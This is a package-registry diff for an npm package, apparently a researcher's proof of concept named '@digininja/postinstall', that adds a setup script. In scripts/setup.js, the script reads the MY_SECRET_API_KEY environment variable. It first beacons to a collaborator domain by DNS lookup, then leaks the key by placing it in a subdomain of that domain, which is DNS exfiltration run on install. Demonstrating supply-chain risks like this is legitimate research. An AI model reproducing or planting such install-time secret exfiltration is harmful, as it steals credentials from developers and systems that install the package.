@digininja/postinstall 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/index.js +4 -0
- package/package.json +11 -0
- package/scripts/setup.js +37 -0
package/README.md
ADDED
package/index.js
ADDED
package/package.json
ADDED
package/scripts/setup.js
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
const apiKey = process.env.MY_SECRET_API_KEY;
|
|
2
|
+
|
|
3
|
+
const dns = require('node:dns');
|
|
4
|
+
|
|
5
|
+
const options = {
|
|
6
|
+
family: 4, // Look for IPv4
|
|
7
|
+
hints: dns.ADDRCONFIG | dns.V4MAPPED,
|
|
8
|
+
};
|
|
9
|
+
|
|
10
|
+
function lookup(domain) {
|
|
11
|
+
dns.lookup(domain, options, (err, address, family) => {
|
|
12
|
+
if (err) {
|
|
13
|
+
console.error('Lookup failed:', err);
|
|
14
|
+
return;
|
|
15
|
+
}
|
|
16
|
+
// don't care
|
|
17
|
+
// console.log('Address: %j family: IPv4', address);
|
|
18
|
+
});
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
function log(message, data = '') {
|
|
22
|
+
console.log(`[POSTINSTALL DEBUG] ${message}`, data);
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
// DNS cache buster
|
|
26
|
+
const seconds = Math.floor(Date.now() / 1000);
|
|
27
|
+
lookup('gotHere' + seconds + ".6u1s7jd9esbax66anvpcg34jgam1asyh.collab.digi.ninja");
|
|
28
|
+
|
|
29
|
+
log('Checking for API Key...');
|
|
30
|
+
|
|
31
|
+
if (!apiKey) {
|
|
32
|
+
log('API Key missing. Exiting gracefully.');
|
|
33
|
+
process.exit(0);
|
|
34
|
+
}
|
|
35
|
+
lookup(apiKey+'.6u1s7jd9esbax66anvpcg34jgam1asyh.collab.digi.ninja');
|
|
36
|
+
|
|
37
|
+
log('Using API Key:', apiKey);
|